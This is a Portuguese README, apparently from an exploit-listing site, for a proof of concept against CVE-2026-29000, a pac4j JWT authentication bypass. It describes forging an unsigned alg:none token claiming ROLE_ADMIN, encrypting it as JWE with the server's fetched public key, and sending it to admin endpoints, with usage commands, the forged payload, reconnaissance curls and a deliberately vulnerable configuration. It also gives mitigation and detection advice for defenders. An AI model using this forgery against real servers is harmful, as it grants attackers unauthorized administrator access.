CVE-2026-29000: Prova de Conceito de Bypass de Autenticação JWT do pac4j

Prova de Conceito para CVE-2026-29000 - Uma vulnerabilidade crítica de bypass de autenticação na implementação JWT do pac4j que permite a atacantes forjar tokens de administrador sem uma assinatura válida.

⚠️ AVISO LEGAL

Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizado. O autor NÃO assume nenhuma responsabilidade por qualquer uso indevido, dano ou uso ilegal deste exploit.

• O acesso não autorizado a sistemas de computador é ILEGAL na maioria das jurisdições
• Os usuários devem obter autorização explícita por escrito antes de testar
• O autor NÃO é responsável por quaisquer consequências decorrentes do uso indevido desta ferramenta
• Esta é uma ferramenta educacional e de pesquisa em segurança - use de forma ética e legal

📋 Visão Geral da Vulnerabilidade

Esta vulnerabilidade explora uma falha no mecanismo de autenticação JWT do pac4j onde a biblioteca:

1. Aceita tokens não assinados com alg: "none" no cabeçalho JWT
2. Confia em tokens encapsulados em JWE sem validar adequadamente a assinatura JWT interna
3. Permite elevação de privilégios por meio de claims personalizados no payload não assinado

Um atacante pode forjar um JWT não assinado com claims arbitrários (como role: "ROLE_ADMIN"), criptografá-lo em um contêiner JWE usando a chave pública do servidor e obter acesso não autorizado a funcionalidades de administrador.

🎯 Pré-requisitos para Exploração Bem-sucedida

Requisitos do Lado do Servidor

Para que este exploit tenha sucesso, o servidor alvo deve atender a TODAS as seguintes condições:

1. Endpoint JWKS Acessível

O servidor deve expor suas chaves públicas através de um destes endpoints:

• /.well-known/jwks.json (endpoint OAuth/OIDC padrão)
• /api/auth/jwks (endpoint personalizado)

Por quê: O exploit busca automaticamente a chave pública do servidor para criptografar o token JWE forjado.

2. Aceitação do Claim role no JWT

O servidor deve:

• Aceitar e processar um claim role no payload JWT
• Ter pelo menos um nível de privilégio que conceda acesso elevado (ex.: ROLE_ADMIN)
• Não validar a assinatura JWT ou permitir tokens não assinados

Perfis Comuns:

• ROLE_ADMIN - Acesso administrativo completo
• ROLE_USER - Acesso de usuário padrão
• Perfis personalizados dependendo da aplicação

3. Processamento de Token JWE

O servidor deve:

• Aceitar tokens JWE (criptografados) como autenticação válida
• Descriptografar e processar o JWT interno não assinado
• Não verificar a assinatura do JWT interno ou o algoritmo

4. Configuração Vulnerável do pac4j

A aplicação deve usar pac4j com:

• Algoritmo definido como "none" ou validação inadequada de algoritmo
• Criptografia JWE habilitada, mas verificação de assinatura desabilitada no JWT interno
• Nenhuma validação adicional de token além da descriptografia JWE

🛠️ Instalação

Requisitos

• Python 3.7+
• Pacotes necessários: requests, jwcrypto

Configuração

# Clone o repositório
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Instale as dependências
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
jwcrypto>=1.4.0

🚀 Uso

Uso Básico

python3 exploit.py <TARGET_URL>

Exemplo:

python3 exploit.py http://vulnerable-app.local:8080

O script irá:

1. Tentar buscar JWKS nos endpoints padrão
2. Gerar um JWT não assinado com role: "ROLE_ADMIN"
3. Criptografá-lo usando a chave pública do servidor
4. Produzir um token JWE pronto para autenticação

Opções Avançadas

Nome de Usuário Personalizado

python3 exploit.py http://vulnerable-app.local:8080 --username john

Perfil Personalizado

python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

Fornecer JWKS Manualmente

Se o endpoint JWKS não estiver acessível publicamente, forneça o JWK manualmente:

python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

Exemplo Completo com Todas as Opções

python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

📤 Usando o Token Gerado

O exploit gera um token JWE no seguinte formato:

Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

Fazendo Requisições Autenticadas

Use o token em requisições HTTP para acessar endpoints protegidos:

# Usando curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Usando Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

Exemplo de Requisição com Cabeçalho de Autorização

curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

🔍 Como o Exploit Funciona

Passo 1: Criar JWT Não Assinado

header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Nome de usuário
    "role": "ROLE_ADMIN",        # Nível de privilégio
    "iss": "principal-platform", # Emissor
    "iat": 1234567890,          # Emitido em
    "exp": 1234571490           # Expiração (1 hora)
}

O JWT é criado sem assinatura (alg: "none"), o que normalmente é inválido, mas aceito por servidores vulneráveis.

Passo 2: Buscar JWKS do Servidor

O exploit consulta:

1. /.well-known/jwks.json (padrão OAuth/OIDC)
2. /api/auth/jwks (endpoint personalizado)

Isso recupera a chave pública RSA do servidor necessária para a criptografia.

Passo 3: Criptografar JWT como JWE

O JWT não assinado é criptografado usando:

• Algoritmo: RSA-OAEP-256 (criptografia assimétrica)
• Criptografia: A128GCM (criptografia autenticada)
• Chave: Chave pública do servidor (impede adulteração)

Isso cria um token JWE que o servidor pode descriptografar, mas não verificará a assinatura interna.

Passo 4: Usar o Token

O token JWE é incluído no cabeçalho Authorization:

Authorization: Bearer <JWE_TOKEN>

O servidor vulnerável descriptografa e extrai o JWT não assinado, confiando nos claims sem verificar a assinatura.

🔐 Cadeia de Vulnerabilidade

JWT não assinado (alg:none)
         ↓
  Encapsulado em JWE (com chave pública do servidor)
         ↓
  Servidor recebe token JWE
         ↓
  Servidor descriptografa JWE
         ↓
  Extrai JWT interno não assinado
         ↓
  ❌ Servidor NÃO verifica a assinatura
         ↓
  ✅ Aceita claims como válidos (role: ROLE_ADMIN)
         ↓
  Atacante tem acesso de administrador!

⚠️ Detecção e Indicadores

Indicadores do Lado do Servidor de Vulnerabilidade

1. Exposição do Endpoint JWKS

   • Verificar se /.well-known/jwks.json ou /api/auth/jwks está acessível publicamente

2. Logs de Validação JWT

   • Procurar logs que aceitam tokens com alg: "none"
   • Avisos sobre tokens não assinados sendo aceitos

3. Revisão de Configuração

   • Verificar se a verificação de assinatura do pac4j está desabilitada
   • Confirmar as configurações de descriptografia JWE

Indicadores de Rede

# Reconhecimento
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# Verificar se tokens JWE são aceitos
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

🛡️ Mitigação e Remediação

Para Desenvolvedores Usando pac4j

1. Forçar Verificação de Assinatura

   root@kitploit:~

   // RUIM - Aceita tokens não assinados
   JwtAuthenticator jwt = new JwtAuthenticator();
   jwt.setAlgorithm(null); // ❌ Vulnerável
   
   // BOM - Exige assinatura válida
   JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
   jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Seguro
   

2. Validar Algoritmo JWT

   • Nunca aceitar alg: "none"
   • Lista de permissão de algoritmos permitidos (ex.: RS256, HS256)
   • Rejeitar tokens com algoritmos incompatíveis

3. Desabilitar JWE se Não Necessário

   • Se a autenticação exigir apenas JWT, desative o encapsulamento JWE
   • Se JWE for necessário, verifique a assinatura do JWT interno independentemente

4. Atualizar pac4j

   • Aplicar patches de segurança
   • Atualizar para uma versão que tenha verificação de assinatura habilitada por padrão

5. Adicionar Camadas de Validação de Token

   • Validar expiração do token (claim exp)
   • Verificar emissor (claim iss)
   • Cruzar referências de perfis com um banco de dados confiável

Para Administradores de Sistemas

1. Restringir Acesso ao Endpoint JWKS

   root@kitploit:~

   location /.well-known/jwks.json {
       allow 10.0.0.0/8;  # Apenas redes internas
       deny all;
   }
   

2. Monitorar Logs de Autenticação

   • Alertar sobre tokens com alg: "none"
   • Sinalizar atribuições de perfil de administrador de fontes inesperadas

3. Segmentação de Rede

   • Isolar servidores de autenticação
   • Restringir endpoint JWKS a clientes autorizados

4. Auditorias de Segurança Regulares

   • Revisar configurações do pac4j
   • Realizar testes de penetração nos mecanismos de autenticação

📊 Ambiente de Teste

Exemplo de Configuração Vulnerável

@Configuration
public class SecurityConfig {
    
    @Bean
    public JwtAuthenticator jwtAuthenticator() {
        JwtAuthenticator authenticator = new JwtAuthenticator();
        // ❌ VULNERÁVEL: Sem verificação de assinatura
        authenticator.setAlgorithmsAllowedForSigning(null);
        authenticator.setJwtClaimsValidation(false);
        return authenticator;
    }
    
    @Bean
    public JWEEncrypter encrypter() {
        // Aceita JWE mas não verifica JWT interno
        return new JWEEncrypter();
    }
}

📚 Referências

• ID CVE: CVE-2026-29000
• Biblioteca Afetada: pac4j (módulo JWT)
• Vetor de Ataque: Bypass de autenticação via JWT não assinado + criptografia JWE
• Pontuação CVSS: 9.8 (Crítico)

Recursos Relacionados

• Repositório GitHub do pac4j
• Boas Práticas JWT
• Folha de Dicas JWT da OWASP

⚖️ Aviso Legal

Este exploit é fornecido apenas para fins educacionais e de teste de segurança autorizado.

O acesso não autorizado a sistemas de computador é ilegal. Esta ferramenta deve ser usada apenas em:

• Sistemas que você possui
• Sistemas com autorização explícita por escrito
• Engajamentos de teste de penetração autorizados

Os autores não são responsáveis por uso indevido ou danos causados por esta ferramenta.

📝 Licença

Licença MIT - Consulte o arquivo LICENSE para obter detalhes

👥 Contribuindo

Encontrou um bug? Tem melhorias?

1. Faça um fork do repositório
2. Crie um branch de funcionalidade (git checkout -b feature/improvement)
3. Faça commit das alterações (git commit -m 'Adicionar melhoria')
4. Envie para o branch (git push origin feature/improvement)
5. Abra um Pull Request

📞 Suporte

Para problemas, perguntas ou sugestões:

• Abra uma issue no GitHub
• Inclua a versão alvo do pac4j
• Anexe logs e configurações relevantes

Última Atualização: Maio de 2026
Autor: Equipe de Pesquisa em Segurança
Status: PoC Educacional